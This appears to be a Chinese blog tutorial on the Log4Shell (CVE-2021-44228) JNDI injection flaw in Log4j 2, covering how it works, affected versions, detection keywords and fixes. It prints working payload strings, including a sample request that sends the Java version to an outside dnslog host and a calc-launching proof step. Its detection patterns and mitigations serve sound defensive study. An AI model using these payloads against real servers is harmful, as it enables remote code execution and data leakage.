Log4J RCE漏洞

本文详细介绍了Log4J RCE漏洞,包括其影响范围、排查方法和修复措施。Log4J的JNDI注入原理是通过${jndi:ldap://...}触发,允许攻击者通过LDAP服务器执行恶意代码。修复方案包括禁止lookup下载远程文件、过滤相关关键词和升级Log4j版本。此外,还讲述了Log4J在Java日志记录中的作用及其使用方法。

Log4J RCE

首先log4j打印日志有四个级别:debug、info、warn、error;不管哪个方法打印日志,正常的log处理过程中,对 ${ 这两个紧邻的字符做检测,一旦遇到类似报答是结构的字符串就会触发替换机制。一旦log字符串中检测到 ${} ,就会解析其中的字符串尝试使用 JDNI的 lookup()方法 查询,因此,只要能可攻至log阐述内容,就有机会实现漏洞利用。或者说服务器会记录用户输入的信息;这样log4j RCE都会被触发;

讲解loockup方法:
在log4j中可能需要引用一些外部资源、或者动态调用一些资源,通过lookups方法实现;它里面有docker lookup、Java loockup、Jndi loockup等等方法来调用资源(内置好的);通过Java loockup方法可以获取一些Java运行时(${java:runtime})、Java虚拟机(${java:vm})、操作系统的信息(${java:os})等等;我们攻击使用jndi loockup方法可以访问ldap、rmi服务来动态的获取一些资源;

当用户在登录的时候,服务器的后台使用logger.info("xxx" +user.getUsername())来记录用户名,就存在Log4J注入漏洞;

**RMI(远程接口调用):使用RMI同样也可以实现JNDI注入。

请添加图片描述

http://127.0.0.1:8983/admin/cores?action=$ {jndi:ldap://${sys:java.version}.jkvl0r.dnslog.cn}

影响范围

  1. 使用了Log4j的组件,版本在2.x <= 2.14.1
  2. JDK版本小于8u191、7u201、6u211
序号受影响项目解决版本
1Apache Archiva2.2.6
2Apache Calcite Avatice1.20.0
3Apache Druid0.22.1
4Apache EventMesh
5Apache Flink
6Apache Fortress2.07
7Apache Geode1.12.6,1.13.5,1.14.1
8Apache Hive
9Apache Jena4.3.1
10Apache JMeter
11Apache JSPWiki
12Apache Log4] 2.x2.16.0
13Apache OFBiz18.12.03
14Apache Ozone1.2.1
15Apache SkyWalking8.9.1
16Apache Solr8.11.1
17Apache Struts
18Apache TrafficControl

排查方法

  1. pom文件中检查直接的依赖、间接的依赖。
  2. 可以通过检查日志中是否存在“jndi:ldap://” , “jdni:rmi” , "dnslog.cn"等字符发现攻击行为。
  3. 检查日志中是否存在相关堆栈报错,对战力是否有关JndiLookup、ldapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息

排查工具:

  • https://static.threatbook.cn/tools/log4j-local-check.sh
  • https://sca.seczone.cn/allScanner.zip

漏洞修复

  1. 禁止用户请求参数出现攻击关键字
  2. 禁止lookup下载远程文件按(命令引用)
  3. 禁止log4j的应用连接外网
  4. 禁止log4j使用lookup
  5. 从log4j jar包中删除lookup (log4j 2.10以下版本)
  6. 过滤相关的关键词,比如${jndi://*}

之前版本修复方案:

修复后的Log4J2在JndiLookup.class中增加了许多限制:

  1. 默认不再支持二次转跳(也就是命名引用)的方式获取对象。
  2. 只有在log4j2.allewdLdapClasses列表中指定call才能获取。
  3. 只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取

原理:

Log4j:JNDI注入导致的远程代码执行

Log for Java是Apache的开源记录日志;是用来记录在开发、测试、生产环境中堆栈、类方法的调用信息;给Java记录日志;

Log for Java意义:

  1. 方便我们对程序的运行进行跟踪和调试(debug);
  2. 用于溯源、取证,错误排查;

使用方法

  1. pom引入log4j方法(Mybitas导包配置文件https://blog.youkuaiyun.com/RoueOB/article/details/101344533)
  2. 获得logger实例
  3. logger.info() debug() error() warry()

pom引入

请添加图片描述

获取logger实例

请添加图片描述

log4j的配置文件可以使用.xml或sprintboot流行的.properties来配置日志记录的行为;


LDAP

LDAP(Lightweight Directory Access Protocol 轻量级目录访问协议)
目录服务,目录数据库;适用于C/S架构;
端口:389和636

为解决,对多个服务系统使用同一个账号登录,存储信息、密码、数据等;我们就可以使用LDAP解决;

LDAP时JNDI众多可以调配的资源中的一个;


JNDI

JNDI(Java Naming and Directory Interface 命名服务目录接口)

JNDI通过使用自己内置的方法,根据名字找到位置、服务、信息、资源、对象等;

JNDI中常用的方法
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象,根据检错名对象的地址,获取资源。 rebind(String name, Object obj) 将名称绑定到对象上,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。 bind( ... ) 发布服务(名字和资源的映射)`

请添加图片描述


JDBC(hibernate

JDBC是一个规范,通过这个规范我们可以屏蔽不同数据库底层的差异
(JNDI和JDBC https://blog.youkuaiyun.com/luck_and_destiny/article/details/120315949)

请添加图片描述

可以简化我们对资源的访问;

JNDI Naming Reference 命名引用

  1. 在LDAP(LDAP数据库)里面可以存储一个外部的资源,叫做命名引用,对应Reference类。
    比如使用HTTP服务远程调用一个.class类文件
  2. 如果JNDI客户端,在LDAP服务中找不到对应资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。
  3. 如果下载的.calss文件包含无参构造函数或静态方法块,加载的时候会自动执行。

JNDI注入原理、利用方式

  1. 攻击者在HTTP请求中传入${jndi:ldap://xxx.xxx.com:xx/test}(使用JNDI的服务访问一个不存在的数据);攻击者给JNDI的lookup()方法(JndiLookup.class)转入恶意参数,参数指定的是一个LDAP服务器不存在的资源。
  2. 受害者的Java应用程序访问我指定的LDAP的服务器中的路径,而我的LDAP服务器上并没有这个资源,受害者的Java应用程序就会从我LDAP的服务器指定的路径去下载一个代码文件 (Exploit.class),并执行${jndi://ldap://x.x.x.x:xx/test}

*为什么Java应用程序会去我们上传的指定路径下载资源?

  • lookup()方法:在Log4J的配置文件或项目代码中,我们可能需要引用一些外部资源,当需要以动态的方式加载一些资源的时候;当我们传入一个JNDI的地址参数时,lookup()方法会去对应的地址获取相应的资源,下载我们的恶意类。
  • 解释:JDNI可以将LDAP目录服务、RMI远程方法调用、DNS、XNam、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS中任意的一个资源的数据,赋值给自己的配置文件。所以当我们传入一个JNDI的地址参数时,lookup()方法会去对应的地址获取相应的资源

*下载的资源如何被自动执行?

  • NaningManager.java的类中,调用了newInstence()的方法;Java应用程序下载的恶意类的实例就在这里被创建调用,代码被执行。

*验证漏洞被利用:使用Java中的Runtime.getRuntime().exec(“calc”)执行计算机中的命令;DNS解析记录;。

log4j 中的远程代码执行(Remote Code Execution, RCE漏洞,通常指的是 **Log4Shell 漏洞**(CVE-2021-44228),这是 Apache Log4j 2.x 版本中发现的一个严重安全问题。攻击者可以通过构造特定的日志信息,利用 `JNDI` 查找功能远程执行任意代码。 ### 漏洞原理 该漏洞的核心在于 Log4j 2 的 `lookup` 功能支持 `JNDI` 表达式解析。当应用程序将用户输入直接记录为日志内容时,攻击者可以注入类似 `${jndi:ldap://malicious-server/payload}` 的字符串,触发 Log4j 去外部服务器加载恶意类并执行代码[^1]。 ### 修复方案 #### 1. 升级 Log4j 版本 最直接和推荐的方式是升级到修复了该漏洞的版本: - **Log4j 2.15.0**:首次修复了默认禁用 JNDI lookup 的问题。 - **Log4j 2.16.0**:进一步移除了对 `JNDI` lookup 的支持(更彻底的修复)。 - **Log4j 2.17.0 及以上**:针对其他潜在问题进行了修补。 建议至少升级到 **2.17.0** 或更高稳定版本以确保安全性[^1]。 #### 2. 临时缓解措施(适用于无法立即升级的情况) 如果暂时无法升级 Log4j 版本,可采取以下缓解措施: ##### a. 设置系统属性禁用 JNDI lookup 在启动 JVM 时添加参数,禁用 `JNDI` lookup 功能: ```bash -Dlog4j2.formatMsgNoLookups=true ``` 此选项适用于 Log4j 2.10 到 2.14.1 版本,在这些版本中设置后可有效缓解 CVE-2021-44228 漏洞[^1]。 ##### b. 修改配置文件禁用 lookup 在 `log4j2.xml` 配置文件中显式禁用 lookup: ```xml <Configuration status="WARN" shutdownHook="disable"> <Appenders> ... </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration> ``` ##### c. 移除 `JndiLookup` 类 手动从 `log4j-core.jar` 中删除 `org/apache/logging/log4j/core/lookup/JndiLookup.class` 文件,防止其被调用。 ##### d. 网络层防护 在应用前端部署 Web 应用防火墙(WAF)或 API 网关,并配置规则检测和拦截包含 `${jndi:` 的请求。 #### 3. 检测是否存在 Log4j 漏洞 可以使用以下方法检查项目是否受该漏洞影响: - 使用命令行查找项目中的 `log4j-core` jar 包: ```bash find /path/to/application -name "log4j-core*.jar" ``` - 解压 jar 包查看版本信息: ```bash unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep Implementation-Version ``` 还可以借助自动化工具如 [log4j-detector](https://github.com/mergebase/log4j-detector) 进行扫描。 #### 4. 安全最佳实践 - 定期更新依赖库,尤其是关键组件如日志框架。 - 对所有用户输入进行严格的校验与过滤,避免将其直接写入日志。 - 使用日志脱敏机制,对敏感字段进行掩码处理。 - 启用日志审计功能,监控异常行为。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值